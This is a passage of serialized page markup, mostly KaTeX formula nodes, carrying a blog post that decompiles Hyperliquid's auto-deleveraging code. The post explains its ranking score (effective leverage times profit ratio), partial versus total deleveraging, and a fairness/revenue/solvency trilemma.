want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":22,"tag":23,"props":163714,"children":163715},{},[163716],{"type":27,"value":163717},"So, is Hyperliquid fair? Is it always solvent?",{"type":22,"tag":53,"props":163719,"children":163721},{"id":163720},"adl-score-computation",[163722],{"type":27,"value":163723},"ADL Score Computation",{"type":22,"tag":23,"props":163725,"children":163726},{},[163727,163729,163735,163737,163743,163745,163750],{"type":27,"value":163728},"The score function at ",{"type":22,"tag":30,"props":163730,"children":163732},{"className":163731},[],[163733],{"type":27,"value":163734},"compute_adl_ranking_score",{"type":27,"value":163736}," is core to answering this question. It's defined, most likely as an ",{"type":22,"tag":30,"props":163738,"children":163740},{"className":163739},[],[163741],{"type":27,"value":163742},"Ord",{"type":27,"value":163744}," implementation on some 20-byte address representation. A ",{"type":22,"tag":30,"props":163746,"children":163748},{"className":163747},[],[163749],{"type":27,"value":21208},{"type":27,"value":163751}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":22,"tag":23,"props":163753,"children":163754},{},[163755,163757,163762,163764,163770,163772,163779,163781,163788],{"type":27,"value":163756},"Those sort routines are ",{"type":22,"tag":6961,"props":163758,"children":163759},{},[163760],{"type":27,"value":163761},"generated by the compiler",{"type":27,"value":163763},": since Rust binaries include a lot of metadata by default in ",{"type":22,"tag":30,"props":163765,"children":163767},{"className":163766},[],[163768],{"type":27,"value":163769},".comment",{"type":27,"value":163771},", we may even manually ",{"type":22,"tag":80,"props":163773,"children":163776},{"href":163774,"rel":163775},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[84],[163777],{"type":27,"value":163778},"take advantage",{"type":27,"value":163780}," of this to recover the ",{"type":22,"tag":80,"props":163782,"children":163785},{"href":163783,"rel":163784},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[84],[163786],{"type":27,"value":163787},"exact source of library functions",{"type":27,"value":231},{"type":22,"tag":23,"props":163790,"children":163791},{},[163792,163794,163799],{"type":27,"value":163793},"Let's see how this ties back into the ",{"type":22,"tag":30,"props":163795,"children":163797},{"className":163796},[],[163798],{"type":27,"value":162878},{"type":27,"value":169},{"type":22,"tag":162553,"props":163801,"children":163803},{"source":162878,"target":163734,"direction":162879,"path":163802},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":22,"tag":23,"props":163805,"children":163806},{},[163807],{"type":27,"value":163808},"And here's the main call site used for sorting:",{"type":22,"tag":162553,"props":163810,"children":163813},{"addr":162924,"line-start":163811,"line-end":163812},"2806","2814",[],{"type":22,"tag":53,"props":163815,"children":163817},{"id":163816},"ratio-1-effective-leverage",[163818],{"type":27,"value":163819},"Ratio 1: Effective Leverage",{"type":22,"tag":91,"props":163821,"children":163822},{},[163823],{"type":22,"tag":30,"props":163824,"children":163826},{"className":163825},[8026,162581],[163827],{"type":22,"tag":101,"props":163828,"children":163830},{"className":163829},[162586],[163831],{"type":22,"tag":101,"props":163832,"children":163834},{"className":163833},[8032],[163835],{"type":22,"tag":101,"props":163836,"children":163838},{"className":163837,"ariaHidden":5608},[8037],[163839,163870],{"type":22,"tag":101,"props":163840,"children":163842},{"className":163841},[8042],[163843,163847,163857,163861,163866],{"type":22,"tag":101,"props":163844,"children":163846},{"className":163845,"style":118609},[8047],[],{"type":22,"tag":101,"props":163848,"children":163850},{"className":163849},[8053,27],[163851],{"type":22,"tag":101,"props":163852,"children":163854},{"className":163853},[8053],[163855],{"type":27,"value":163856},"effective leverage",{"type":22,"tag":101,"props":163858,"children":163860},{"className":163859,"style":8231},[8133],[],{"type":22,"tag":101,"props":163862,"children":163864},{"className":163863},[8236],[163865],{"type":27,"value":1511},{"type":22,"tag":101,"props":163867,"children":163869},{"className":163868,"style":8231},[8133],[],{"type":22,"tag":101,"props":163871,"children":163873},{"className":163872},[8042],[163874,163879],{"type":22,"tag":101,"props":163875,"children":163878},{"className":163876,"style":163877},[8047],"height:2.113em;vertical-align:-0.686em;",[],{"type":22,"tag":101,"props":163880,"children":163882},{"className":163881},[8053],[163883,163887,163982],{"type":22,"tag":101,"props":163884,"children":163886},{"className":163885},[25704,117072],[],{"type":22,"tag":101,"props":163888,"children":163890},{"className":163889},[117077],[163891],{"type":22,"tag":101,"props":163892,"children":163894},{"className":163893},[8074,25629],[163895,163970],{"type":22,"tag":101,"props":163896,"children":163898},{"className":163897},[8079],[163899,163965],{"type":22,"tag":101,"props":163900,"children":163902},{"className":163901,"style":162659},[8084],[163903,163924,163935],{"type":22,"tag":101,"props":163904,"children":163905},{"style":162663},[163906,163910],{"type":22,"tag":101,"props":163907,"children":163909},{"className":163908,"style":115725},[8093],[],{"type":22,"tag":101,"props":163911,"children":163913},{"className":163912},[8053],[163914],{"type":22,"tag":101,"props":163915,"children":163917},{"className":163916},[8053,27],[163918],{"type":22,"tag":101,"props":163919,"children":163921},{"className":163920},[8053],[163922],{"type":27,"value":163923},"account value",{"type":22,"tag":101,"props":163925,"children":163926},{"style":117127},[163927,163931],{"type":22,"tag":101,"props":163928,"children":163930},{"className":163929,"style":115725},[8093],[],{"type":22,"tag":101,"props":163932,"children":163934},{"className":163933,"style":117137},[117136],[],{"type":22,"tag":101,"props":163936,"children":163937},{"style":162714},[163938,163942],{"type":22,"tag":101,"props":163939,"children":163941},{"className":163940,"style":115725},[8093],[],{"type":22,"tag":101,"props":163943,"children":163945},{"className":163944},[8053],[163946,163951,163960],{"type":22,"tag":101,"props":163947,"children":163949},{"className":163948},[8053],[163950],{"type":27,"value":162729},{"type":22,"tag":101,"props":163952,"children":163954},{"className":163953},[8053,27],[163955],{"type":22,"tag":101,"props":163956,"children":163958},{"className":163957},[8053],[163959],{"type":27,"value":162739},{"type":22,"tag":101,"props":163961,"children":163963},{"className":163962},[8053],[163964],{"type":27,"value":162729},{"type":22,"tag":101,"props":163966,"children":163968},{"className":163967},[25732],[163969],{"type":27,"value":25735},{"type":22,"tag":101,"props":163971,"children":163973},{"className":163972},[8079],[163974],{"type":22,"tag":101,"props":163975,"children":163978},{"className":163976,"style":163977},[8084],"height:0.686em;",[163979],{"type":22,"tag":101,"props":163980,"children":163981},{},[],{"type":22,"tag":101,"props":163983,"children":163985},{"className":163984},[25726,117072],[],{"type":22,"tag":23,"props":163987,"children":163988},{},[163989,163991,163997,163999,164005,164006,164012,164014,164020],{"type":27,"value":163990},"We can see in the decompilation below, through the SIMD noise, that ",{"type":22,"tag":30,"props":163992,"children":163994},{"className":163993},[],[163995],{"type":27,"value":163996},"abs_notional",{"type":27,"value":163998}," (unsigned), and ",{"type":22,"tag":30,"props":164000,"children":164002},{"className":164001},[],[164003],{"type":27,"value":164004},"float.d(rbx)",{"type":27,"value":78},{"type":22,"tag":30,"props":164007,"children":164009},{"className":164008},[],[164010],{"type":27,"value":164011},"account_value",{"type":27,"value":164013}," (signed); the division is ",{"type":22,"tag":30,"props":164015,"children":164017},{"className":164016},[],[164018],{"type":27,"value":164019},"abs_notional / account_value",{"type":27,"value":231},{"type":22,"tag":23,"props":164022,"children":164023},{},[164024],{"type":27,"value":164025},"This tells us the risk multiplier that the user took on for this position.",{"type":22,"tag":162553,"props":164027,"children":164031},{"addr":164028,"line-start":164029,"line-end":164030},"0x555556abb140","278","296",[],{"type":22,"tag":53,"props":164033,"children":164035},{"id":164034},"ratio-2-profit-ratio",[164036],{"type":27,"value":164037},"Ratio 2: Profit Ratio",{"type":22,"tag":91,"props":164039,"children":164040},{},[164041],{"type":22,"tag":30,"props":164042,"children":164044},{"className":164043},[8026,162581],[164045],{"type":22,"tag":101,"props":164046,"children":164048},{"className":164047},[162586],[164049],{"type":22,"tag":101,"props":164050,"children":164052},{"className":164051},[8032],[164053],{"type":22,"tag":101,"props":164054,"children":164056},{"className":164055,"ariaHidden":5608},[8037],[164057,164088],{"type":22,"tag":101,"props":164058,"children":164060},{"className":164059},[8042],[164061,164065,164075,164079,164084],{"type":22,"tag":101,"props":164062,"children":164064},{"className":164063,"style":118609},[8047],[],{"type":22,"tag":101,"props":164066,"children":164068},{"className":164067},[8053,27],[164069],{"type":22,"tag":101,"props":164070,"children":164072},{"className":164071},[8053],[164073],{"type":27,"value":164074},"profit ratio",{"type":22,"tag":101,"props":164076,"children":164078},{"className":164077,"style":8231},[8133],[],{"type":22,"tag":101,"props":164080,"children":164082},{"className":164081},[8236],[164083],{"type":27,"value":1511},{"type":22,"tag":101,"props":164085,"children":164087},{"className":164086,"style":8231},[8133],[],{"type":22,"tag":101,"props":164089,"children":164091},{"className":164090},[8042],[164092,164096],{"type":22,"tag":101,"props":164093,"children":164095},{"className":164094,"style":162634},[8047],[],{"type":22,"tag":101,"props":164097,"children":164099},{"className":164098},[8053],[164100,164104,164223],{"type":22,"tag":101,"props":164101,"children":164103},{"className":164102},[25704,117072],[],{"type":22,"tag":101,"props":164105,"children":164107},{"className":164106},[117077],[164108],{"type":22,"tag":101,"props":164109,"children":164111},{"className":164110},[8074,25629],[164112,164212],{"type":22,"tag":101,"props":164113,"children":164115},{"className":164114},[8079],[164116,164207],{"type":22,"tag":101,"props":164117,"children":164119},{"className":164118,"style":162659},[8084],[164120,164141,164152],{"type":22,"tag":101,"props":164121,"children":164122},{"style":162663},[164123,164127],{"type":22,"tag":101,"props":164124,"children":164126},{"className":164125,"style":115725},[8093],[],{"type":22,"tag":101,"props":164128,"children":164130},{"className":164129},[8053],[164131],{"type":22,"tag":101,"props":164132,"children":164134},{"className":164133},[8053,27],[164135],{"type":22,"tag":101,"props":164136,"children":164138},{"className":164137},[8053],[164139],{"type":27,"value":164140},"entry notional",{"type":22,"tag":101,"props":164142,"children":164143},{"style":117127},[164144,164148],{"type":22,"tag":101,"props":164145,"children":164147},{"className":164146,"style":115725},[8093],[],{"type":22,"tag":101,"props":164149,"children":164151},{"className":164150,"style":117137},[117136],[],{"type":22,"tag":101,"props":164153,"children":164154},{"style":162714},[164155,164159],{"type":22,"tag":101,"props":164156,"children":164158},{"className":164157,"style":115725},[8093],[],{"type":22,"tag":101,"props":164160,"children":164162},{"className":164161},[8053],[164163,164169,164174,164184,164189,164193,164197,164202],{"type":22,"tag":101,"props":164164,"children":164166},{"className":164165},[25611],[164167],{"type":27,"value":164168},"max",{"type":22,"tag":101,"props":164170,"children":164172},{"className":164171},[25704],[164173],{"type":27,"value":980},{"type":22,"tag":101,"props":164175,"children":164177},{"className":164176},[8053,27],[164178],{"type":22,"tag":101,"props":164179,"children":164181},{"className":164180},[8053],[164182],{"type":27,"value":164183},"pnl",{"type":22,"tag":101,"props":164185,"children":164187},{"className":164186},[8165],[164188],{"type":27,"value":8168},{"type":22,"tag":101,"props":164190,"children":164192},{"className":164191,"style":8172},[8133],[],{"type":22,"tag":101,"props":164194,"children":164196},{"className":164195,"style":8172},[8133],[],{"type":22,"tag":101,"props":164198,"children":164200},{"className":164199},[8053],[164201],{"type":27,"value":8065},{"type":22,"tag":101,"props":164203,"children":164205},{"className":164204},[25726],[164206],{"type":27,"value":2261},{"type":22,"tag":101,"props":164208,"children":164210},{"className":164209},[25732],[164211],{"type":27,"value":25735},{"type":22,"tag":101,"props":164213,"children":164215},{"className":164214},[8079],[164216],{"type":22,"tag":101,"props":164217,"children":164219},{"className":164218,"style":162757},[8084],[164220],{"type":22,"tag":101,"props":164221,"children":164222},{},[],{"type":22,"tag":101,"props":164224,"children":164226},{"className":164225},[25726,117072],[],{"type":22,"tag":23,"props":164228,"children":164229},{},[164230,164232,164238],{"type":27,"value":164231},"It uses entry notional (",{"type":22,"tag":30,"props":164233,"children":164235},{"className":164234},[],[164236],{"type":27,"value":164237},"r14_2",{"type":27,"value":164239},") as the divisor. PNL is clamped to non-negative before division.",{"type":22,"tag":23,"props":164241,"children":164242},{},[164243],{"type":27,"value":164244},"This basically tells us how well the user's bet went.",{"type":22,"tag":162553,"props":164246,"children":164250},{"addr":164247,"addr-start":164248,"addr-end":164249},"0x555556abb76d","0x555556abb8d7","0x555556abb952",[],{"type":22,"tag":23,"props":164252,"children":164253},{},[164254,164256,164262,164264,164270],{"type":27,"value":164255},"There is clamping to avoid rounding issues. Both ratios are clamped to a minimum of ",{"type":22,"tag":30,"props":164257,"children":164259},{"className":164258},[],[164260],{"type":27,"value":164261},"1e-8",{"type":27,"value":164263},", in order not to cancel each other out. The final ADL ranking score is ",{"type":22,"tag":30,"props":164265,"children":164267},{"className":164266},[],[164268],{"type":27,"value":164269},"effective_leverage * profit_ratio",{"type":27,"value":164271},", consistent with both ratio directions and the max clamp on PNL.",{"type":22,"tag":23,"props":164273,"children":164274},{},[164275],{"type":27,"value":164276},"So, in essence, we look for risky and profitable positions!",{"type":22,"tag":1760,"props":164278,"children":164280},{"id":164279},"partial-and-total-adl",[164281],{"type":27,"value":164282},"Partial and Total ADL",{"type":22,"tag":23,"props":164284,"children":164285},{},[164286],{"type":27,"value":164287},"Finally, note that deleveraging can also be partial, but even then it goes by the order defined by this score.",{"type":22,"tag":23,"props":164289,"children":164290},{},[164291],{"type":27,"value":164292},"Here, we fork based on whether ADL is total or not, closing the position in the former case.",{"type":22,"tag":23,"props":164294,"children":164295},{},[164296,164298,164303],{"type":27,"value":164297},"So essentially, in pseudocode, the whole latter part of ",{"type":22,"tag":30,"props":164299,"children":164301},{"className":164300},[],[164302],{"type":27,"value":162878},{"type":27,"value":164304}," boils down to:",{"type":22,"tag":162553,"props":164306,"children":164309},{"addr":162924,"line-start":164307,"line-end":164308},"3252","3632",[],{"type":22,"tag":23,"props":164311,"children":164312},{},[164313],{"type":27,"value":164314},"Note that fill.pos_szi is the full position size of the insolvent user, not just the position shortfall. This is key to understanding the financial implications of ADL.",{"type":22,"tag":39369,"props":164316,"children":164318},{"id":164317},"branches",[164319],{"type":27,"value":164320},"Branches",{"type":22,"tag":23,"props":164322,"children":164323},{},[164324],{"type":27,"value":164325},"There is still much to be explored here: we could try to take a leap forward and conjecture some financial conclusions from what we've learned so far, or we could take a step back and do some introspection on the tools that made this all possible.",{"type":22,"tag":23,"props":164327,"children":164328},{},[164329],{"type":27,"value":164330},"Given the polar opposite direction of those two ends, the author has decided to let the reader choose their own adventure:",{"type":22,"tag":39369,"props":164332,"children":164334},{"id":164333},"financial-conclusions",[164335],{"type":27,"value":164336},"Financial Conclusions",{"type":22,"tag":53,"props":164338,"children":164340},{"id":164339},"fairness-revenue-solvency-trilemma",[164341],{"type":27,"value":164342},"Fairness, Revenue, Solvency Trilemma",{"type":22,"tag":23,"props":164344,"children":164345},{},[164346,164348,164354],{"type":27,"value":164347},"Aligning with the trilemma proposed in §2.1, prop. 2.5 of ",{"type":22,"tag":80,"props":164349,"children":164351},{"href":163706,"rel":164350},[84],[164352],{"type":27,"value":164353},"the paper mentioned before",{"type":27,"value":164355},", let's try to quantify a concrete estimate for each axis of the trilemma:",{"type":22,"tag":6839,"props":164357,"children":164358},{},[164359,164369,164379],{"type":22,"tag":6832,"props":164360,"children":164361},{},[164362,164367],{"type":22,"tag":6961,"props":164363,"children":164364},{},[164365],{"type":27,"value":164366},"Solvency",{"type":27,"value":164368},": can the platform pay every trader out?",{"type":22,"tag":6832,"props":164370,"children":164371},{},[164372,164377],{"type":22,"tag":6961,"props":164373,"children":164374},{},[164375],{"type":27,"value":164376},"Fairness",{"type":27,"value":164378},": we will use the axiomatic fairness definition per prop. 3.4.",{"type":22,"tag":6832,"props":164380,"children":164381},{},[164382,164387],{"type":22,"tag":6961,"props":164383,"children":164384},{},[164385],{"type":27,"value":164386},"Revenue",{"type":27,"value":164388},": the fraction of total winner PNL that survives after deleveraging.",{"type":22,"tag":23,"props":164390,"children":164391},{},[164392],{"type":27,"value":164393},"Let's borrow these definitions from the paper:",{"type":22,"tag":91,"props":164395,"children":164396},{},[164397],{"type":22,"tag":30,"props":164398,"children":164400},{"className":164399},[8026,162581],[164401],{"type":22,"tag":101,"props":164402,"children":164404},{"className":164403},[162586],[164405],{"type":22,"tag":101,"props":164406,"children":164408},{"className":164407},[8032],[164409],{"type":22,"tag":101,"props":164410,"children":164412},{"className":164411,"ariaHidden":5608},[8037],[164413],{"type":22,"tag":101,"props":164414,"children":164416},{"className":164415},[8042],[164417,164422],{"type":22,"tag":101,"props":164418,"children":164421},{"className":164419,"style":164420},[8047],"height:23.1785em;vertical-align:-11.3392em;",[],{"type":22,"tag":101,"props":164423,"children":164425},{"className":164424},[8053],[164426],{"type":22,"tag":101,"props":164427,"children":164429},{"className":164428},[163283],[164430,165249],{"type":22,"tag":101,"props":164431,"children":164433},{"className":164432},[163288],[164434],{"type":22,"tag":101,"props":164435,"children":164437},{"className":164436},[8074,25629],[164438,165237],{"type":22,"tag":101,"props":164439,"children":164441},{"className":164440},[8079],[164442,165232],{"type":22,"tag":101,"props":164443,"children":164446},{"className":164444,"style":164445},[8084],"height:11.8392em;",[164447,164518,164535,164604,164674,164743,164813,164882,164951,165020,165090,165161],{"type":22,"tag":101,"props":164448,"children":164450},{"style":164449},"top:-14.3707em;",[164451,164456],{"type":22,"tag":101,"props":164452,"children":164455},{"className":164453,"style":164454},[8093],"height:3.3714em;",[],{"type":22,"tag":101,"props":164457,"children":164459},{"className":164458},[8053],[164460],{"type":22,"tag":101,"props":164461,"children":164463},{"className":164462},[8053],[164464,164469],{"type":22,"tag":101,"props":164465,"children":164467},{"className":164466,"style":25576},[8053,25575],[164468],{"type":27,"value":25579},{"type":22,"tag":101,"props":164470,"children":164472},{"className":164471},[8069],[164473],{"type":22,"tag":101,"props":164474,"children":164476},{"className":164475},[8074,25629],[164477,164507],{"type":22,"tag":101,"props":164478,"children":164480},{"className":164479},[8079],[164481,164502],{"type":22,"tag":101,"props":164482,"children":164484},{"className":164483,"style":112986},[8084],[164485],{"type":22,"tag":101,"props":164486,"children":164488},{"style":164487},"top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;",[164489,164493],{"type":22,"tag":101,"props":164490,"children":164492},{"className":164491,"style":8094},[8093],[],{"type":22,"tag":101,"props":164494,"children":164496},{"className":164495},[8099,8100,8101,8102],[164497],{"type":22,"tag":101,"props":164498,"children":164500},{"className":164499},[8053,25575,8102],[164501],{"type":27,"value":60400},{"type":22,"tag":101,"props":164503,"children":164505},{"className":164504},[25732],[164506],{"type":27,"value":25735},{"type":22,"tag":101,"props":164508,"children":164510},{"className":164509},[8079],[164511],{"type":22,"tag":101,"props":164512,"children":164514},{"className":164513,"style":96637},[8084],[164515],{"type":22,"tag":101,"props":164516,"children":164517},{},[],{"type":22,"tag":101,"props":164519,"children":164521},{"style":164520},"top:-12.8707em;",[164522,164526],{"type":22,"tag":101,"props":164523,"children":164525},{"className":164524,"style":164454},[8093],[],{"type":22,"tag":101,"props":164527,"children":164529},{"className":164528},[8053],[164530],{"type":22,"tag":101,"props":164531,"children":164533},{"className":164532,"style":98574},[8053,25575],[164534],{"type":27,"value":98608},{"type":22,"tag":101,"props":164536,"children":164538},{"style":164537},"top:-10.8392em;",[164539,164543],{"type":22,"tag":101,"props":164540,"children":164542},{"className":164541,"style":164454},[8093],[],{"type":22,"tag":101,"props":164544,"children":164546},{"className":164545},[8053],[164547],{"type":22,"tag":101,"props":164548,"children":164550},{"className":164549},[8053],[164551,164556],{"type":22,"tag":101,"props":164552,"children":164554},{"className":164553},[8053,25575],[164555],{"type":27,"value":7187},{"type":22,"tag":101,"props":164557,"children":164559},{"className":164558},[8069],[164560],{"type":22,"tag":101,"props":164561,"children":164563},{"className":164562},[8074,25629],[164564,164593],{"type":22,"tag":101,"props":164565,"children":164567},{"className":164566},[8079],[164568,164588],{"type":22,"tag":101,"props":164569,"children":164571},{"className":164570,"style":97083},[8084],[164572],{"type":22,"tag":101,"props":164573,"children":164574},{"style":96610},[164575,164579],{"type":22,"tag":101,"props":164576,"children":164578},{"className":164577,"style":8094},[8093],[],{"type":22,"tag":101,"props":164580,"children":164582},{"className":164581},[8099,8100,8101,8102],[164583],{"type":22,"tag":101,"props":164584,"children":164586},{"className":164585},[8053,25575,8102],[164587],{"type":27,"value":7774},{"type":22,"tag":101,"props":164589,"children":164591},{"className":164590},[25732],[164592],{"type":27,"value":25735},{"type":22,"tag":101,"props":164594,"children":164596},{"className":164595},[8079],[164597],{"type":22,"tag":101,"props":164598,"children":164600},{"className":164599,"style":96637},[8084],[164601],{"type":22,"tag":101,"props":164602,"children":164603},{},[],{"type":22,"tag":101,"props":164605,"children":164607},{"style":164606},"top:-8.8188em;",[164608,164612],{"type":22,"tag":101,"props":164609,"children":164611},{"className":164610,"style":164454},[8093],[],{"type":22,"tag":101,"props":164613,"children":164615},{"className":164614},[8053],[164616],{"type":22,"tag":101,"props":164617,"children":164619},{"className":164618},[8053],[164620,164626],{"type":22,"tag":101,"props":164621,"children":164623},{"className":164622,"style":97040},[8053,25575],[164624],{"type":27,"value":164625},"π",{"type":22,"tag":101,"props":164627,"children":164629},{"className":164628},[8069],[164630],{"type":22,"tag":101,"props":164631,"children":164633},{"className":164632},[8074,25629],[164634,164663],{"type":22,"tag":101,"props":164635,"children":164637},{"className":164636},[8079],[164638,164658],{"type":22,"tag":101,"props":164639,"children":164641},{"className":164640,"style":97083},[8084],[164642],{"type":22,"tag":101,"props":164643,"children":164644},{"style":97087},[164645,164649],{"type":22,"tag":101,"props":164646,"children":164648},{"className":164647,"style":8094},[8093],[],{"type":22,"tag":101,"props":164650,"children":164652},{"className":164651},[8099,8100,8101,8102],[164653],{"type":22,"tag":101,"props":164654,"children":164656},{"className":164655},[8053,25575,8102],[164657],{"type":27,"value":7774},{"type":22,"tag":101,"props":164659,"children":164661},{"className":164660},[25732],[164662],{"type":27,"value":25735},{"type":22,"tag":101,"props":164664,"children":164666},{"className":164665},[8079],[164667],{"type":22,"tag":101,"props":164668,"children":164670},{"className":164669,"style":96637},[8084],[164671],{"type":22,"tag":101,"props":164672,"children":164673},{},[],{"type":22,"tag":101,"props":164675,"children":164677},{"style":164676},"top:-7.3188em;",[164678,164682],{"type":22,"tag":101,"props":164679,"children":164681},{"className":164680,"style":164454},[8093],[],{"type":22,"tag":101,"props":164683,"children":164685},{"className":164684},[8053],[164686],{"type":22,"tag":101,"props":164687,"children":164689},{"className":164688},[8053],[164690,164695],{"type":22,"tag":101,"props":164691,"children":164693},{"className":164692},[8053,25575],[164694],{"type":27,"value":55450},{"type":22,"tag":101,"props":164696,"children":164698},{"className":164697},[8069],[164699],{"type":22,"tag":101,"props":164700,"children":164702},{"className":164701},[8074,25629],[164703,164732],{"type":22,"tag":101,"props":164704,"children":164706},{"className":164705},[8079],[164707,164727],{"type":22,"tag":101,"props":164708,"children":164710},{"className":164709,"style":97083},[8084],[164711],{"type":22,"tag":101,"props":164712,"children":164713},{"style":96610},[164714,164718],{"type":22,"tag":101,"props":164715,"children":164717},{"className":164716,"style":8094},[8093],[],{"type":22,"tag":101,"props":164719,"children":164721},{"className":164720},[8099,8100,8101,8102],[164722],{"type":22,"tag":101,"props":164723,"children":164725},{"className":164724},[8053,25575,8102],[164726],{"type":27,"value":7774},{"type":22,"tag":101,"props":164728,"children":164730},{"className":164729},[25732],[164731],{"type":27,"value":25735},{"type":22,"tag":101,"props":164733,"children":164735},{"className":164734},[8079],[164736],{"type":22,"tag":101,"props":164737,"children":164739},{"className":164738,"style":96637},[8084],[164740],{"type":22,"tag":101,"props":164741,"children":164742},{},[],{"type":22,"tag":101,"props":164744,"children":164746},{"style":164745},"top:-5.8188em;",[164747,164751],{"type":22,"tag":101,"props":164748,"children":164750},{"className":164749,"style":164454},[8093],[],{"type":22,"tag":101,"props":164752,"children":164754},{"className":164753},[8053],[164755],{"type":22,"tag":101,"props":164756,"children":164758},{"className":164757},[8053],[164759,164764],{"type":22,"tag":101,"props":164760,"children":164762},{"className":164761,"style":125834},[8053,25575],[164763],{"type":27,"value":53568},{"type":22,"tag":101,"props":164765,"children":164767},{"className":164766},[8069],[164768],{"type":22,"tag":101,"props":164769,"children":164771},{"className":164770},[8074,25629],[164772,164802],{"type":22,"tag":101,"props":164773,"children":164775},{"className":164774},[8079],[164776,164797],{"type":22,"tag":101,"props":164777,"children":164779},{"className":164778,"style":97083},[8084],[164780],{"type":22,"tag":101,"props":164781,"children":164783},{"style":164782},"top:-2.55em;margin-left:-0.0269em;margin-right:0.05em;",[164784,164788],{"type":22,"tag":101,"props":164785,"children":164787},{"className":164786,"style":8094},[8093],[],{"type":22,"tag":101,"props":164789,"children":164791},{"className":164790},[8099,8100,8101,8102],[164792],{"type":22,"tag":101,"props":164793,"children":164795},{"className":164794},[8053,25575,8102],[164796],{"type":27,"value":7774},{"type":22,"tag":101,"props":164798,"children":164800},{"className":164799},[25732],[164801],{"type":27,"value":25735},{"type":22,"tag":101,"props":164803,"children":164805},{"className":164804},[8079],[164806],{"type":22,"tag":101,"props":164807,"children":164809},{"className":164808,"style":96637},[8084],[164810],{"type":22,"tag":101,"props":164811,"children":164812},{},[],{"type":22,"tag":101,"props":164814,"children":164816},{"style":164815},"top:-4.3188em;",[164817,164821],{"type":22,"tag":101,"props":164818,"children":164820},{"className":164819,"style":164454},[8093],[],{"type":22,"tag":101,"props":164822,"children":164824},{"className":164823},[8053],[164825],{"type":22,"tag":101,"props":164826,"children":164828},{"className":164827},[8053],[164829,164834],{"type":22,"tag":101,"props":164830,"children":164832},{"className":164831},[8053,25575],[164833],{"type":27,"value":23266},{"type":22,"tag":101,"props":164835,"children":164837},{"className":164836},[8069],[164838],{"type":22,"tag":101,"props":164839,"children":164841},{"className":164840},[8074,25629],[164842,164871],{"type":22,"tag":101,"props":164843,"children":164845},{"className":164844},[8079],[164846,164866],{"type":22,"tag":101,"props":164847,"children":164849},{"className":164848,"style":97083},[8084],[164850],{"type":22,"tag":101,"props":164851,"children":164852},{"style":96610},[164853,164857],{"type":22,"tag":101,"props":164854,"children":164856},{"className":164855,"style":8094},[8093],[],{"type":22,"tag":101,"props":164858,"children":164860},{"className":164859},[8099,8100,8101,8102],[164861],{"type":22,"tag":101,"props":164862,"children":164864},{"className":164863},[8053,25575,8102],[164865],{"type":27,"value":7774},{"type":22,"tag":101,"props":164867,"children":164869},{"className":164868},[25732],[164870],{"type":27,"value":25735},{"type":22,"tag":101,"props":164872,"children":164874},{"className":164873},[8079],[164875],{"type":22,"tag":101,"props":164876,"children":164878},{"className":164877,"style":96637},[8084],[164879],{"type":22,"tag":101,"props":164880,"children":164881},{},[],{"type":22,"tag":101,"props":164883,"children":164885},{"style":164884},"top:-2.5512em;",[164886,164890],{"type":22,"tag":101,"props":164887,"children":164889},{"className":164888,"style":164454},[8093],[],{"type":22,"tag":101,"props":164891,"children":164893},{"className":164892},[8053],[164894],{"type":22,"tag":101,"props":164895,"children":164897},{"className":164896},[8053],[164898,164903],{"type":22,"tag":101,"props":164899,"children":164901},{"className":164900},[8053,25575],[164902],{"type":27,"value":87852},{"type":22,"tag":101,"props":164904,"children":164906},{"className":164905},[8069],[164907],{"type":22,"tag":101,"props":164908,"children":164910},{"className":164909},[8074,25629],[164911,164940],{"type":22,"tag":101,"props":164912,"children":164914},{"className":164913},[8079],[164915,164935],{"type":22,"tag":101,"props":164916,"children":164918},{"className":164917,"style":97083},[8084],[164919],{"type":22,"tag":101,"props":164920,"children":164921},{"style":96610},[164922,164926],{"type":22,"tag":101,"props":164923,"children":164925},{"className":164924,"style":8094},[8093],[],{"type":22,"tag":101,"props":164927,"children":164929},{"className":164928},[8099,8100,8101,8102],[164930],{"type":22,"tag":101,"props":164931,"children":164933},{"className":164932},[8053,25575,8102],[164934],{"type":27,"value":7774},{"type":22,"tag":101,"props":164936,"children":164938},{"className":164937},[25732],[164939],{"type":27,"value":25735},{"type":22,"tag":101,"props":164941,"children":164943},{"className":164942},[8079],[164944],{"type":22,"tag":101,"props":164945,"children":164947},{"className":164946,"style":96637},[8084],[164948],{"type":22,"tag":101,"props":164949,"children":164950},{},[],{"type":22,"tag":101,"props":164952,"children":164954},{"style":164953},"top:-0.3652em;",[164955,164959],{"type":22,"tag":101,"props":164956,"children":164958},{"className":164957,"style":164454},[8093],[],{"type":22,"tag":101,"props":164960,"children":164962},{"className":164961},[8053],[164963],{"type":22,"tag":101,"props":164964,"children":164966},{"className":164965},[8053],[164967,164972],{"type":22,"tag":101,"props":164968,"children":164970},{"className":164969,"style":96788},[8053,25575],[164971],{"type":27,"value":96791},{"type":22,"tag":101,"props":164973,"children":164975},{"className":164974},[8069],[164976],{"type":22,"tag":101,"props":164977,"children":164979},{"className":164978},[8074,25629],[164980,165009],{"type":22,"tag":101,"props":164981,"children":164983},{"className":164982},[8079],[164984,165004],{"type":22,"tag":101,"props":164985,"children":164987},{"className":164986,"style":146109},[8084],[164988],{"type":22,"tag":101,"props":164989,"children":164990},{"style":113983},[164991,164995],{"type":22,"tag":101,"props":164992,"children":164994},{"className":164993,"style":8094},[8093],[],{"type":22,"tag":101,"props":164996,"children":164998},{"className":164997},[8099,8100,8101,8102],[164999],{"type":22,"tag":101,"props":165000,"children":165002},{"className":165001,"style":25576},[8053,25575,8102],[165003],{"type":27,"value":840},{"type":22,"tag":101,"props":165005,"children":165007},{"className":165006},[25732],[165008],{"type":27,"value":25735},{"type":22,"tag":101,"props":165010,"children":165012},{"className":165011},[8079],[165013],{"type":22,"tag":101,"props":165014,"children":165016},{"className":165015,"style":96637},[8084],[165017],{"type":22,"tag":101,"props":165018,"children":165019},{},[],{"type":22,"tag":101,"props":165021,"children":165023},{"style":165022},"top:2.2624em;",[165024,165028],{"type":22,"tag":101,"props":165025,"children":165027},{"className":165026,"style":164454},[8093],[],{"type":22,"tag":101,"props":165029,"children":165031},{"className":165030},[8053],[165032],{"type":22,"tag":101,"props":165033